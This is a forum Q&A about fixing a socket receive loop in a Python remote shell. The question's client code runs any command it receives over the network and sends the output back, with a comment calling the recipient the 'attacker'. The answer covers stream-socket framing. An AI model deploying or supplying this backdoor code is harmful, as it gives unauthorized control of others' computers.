Reputation: 1185
I'm trying to create a remote shell in python and have got the server to send a command to the client and to have it executed on the remote machine. What is going wrong is that although the client is sending back the output (from my understanding) the server is not receiving and printing it properly. It was working up until I changed my code to receive all data, not just one chunk. How do I receive all the data and print it correctly?
Server code:
while True:
try:
command = input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(command.encode('utf-8'))
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented commands.\n")
continue
if(command == "quit"):
break
total_data = []
while True:
data = client_socket.recv(8192)
if not data: break
total_data.append(data)
print(total_data + '\n')
# try:
# output = ''
# data = ''
# while True:
# data += client_socket.recv(1024).decode('utf-8')
# if not data:
# break
# else:
# output += data
# except Exception:
# if output:
# pass
# else:
# print("failed")
# print(data + "\n")
Client code:
while True:
command = connexion_socket.recv(1024).decode('utf-8')
split_command = command.split()
print("Received command : " +command)
# if its quit, then break out and close socket
if command == "quit":
break
if(command.split()[0] == "cd"):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd().encode('utf-8')))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(("Changed directory to " + os.getcwd()).encode('utf-8'))
except(WindowsError):
connexion_socket.send(str.encode("No such directory : " +os.getcwd()))
else:
# do shell command
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = (proc.stdout.read() + proc.stderr.read()).decode('utf-8')
print(stdout_value + "\n")
# send output to attacker
if(stdout_value != ""):
connexion_socket.send(stdout_value.encode('utf-8'))
else:
connexion_socket.send((command+ " does not return anything").encode('utf-8'))
If any more info is needed please just ask :)
Upvotes: 0
Views: 112
Reputation: 9679
It appears you are using stream sockets. In that case the problem is you cannot test for EOF (zero length data being read) to break out of your receiving loop if the connection is not being closed (by client.py
). Your server.py
reads the input, but then goes back to receive more from the socket and just waits for more data (which is not coming).
In client.py
you can start your loop by accepting a new connection and end by closing it (note: the socket returned by accept
is to be closed, not the listening one whose accept
method was called). In server.py
you can start and end your loop by setting up and close the connection (resp.) to your counterpart. In that case if not data: break
can be used just fine.
The other option is. You can handle this on protocol/application level. You either start your transmission by sending length of data to follow (and receive until you have this now known amount of data) or pick a message delimiter (e.g. b'\0'
) which you also send after each complete block of output. You can then receive data one by one until you reach the next delimiter. In this case you can keep your existing connection alive and reuse it for forth and back communications. I.e. in your receiving loop you check for: if data == b'\0': break
and you send conn.send(b'\0')
after each message in your client.py
loop.
Unrelated side note: WindowsError
should be a subclass of OSError
which is the one your probably really want to catch to make your code portable.
Upvotes: 1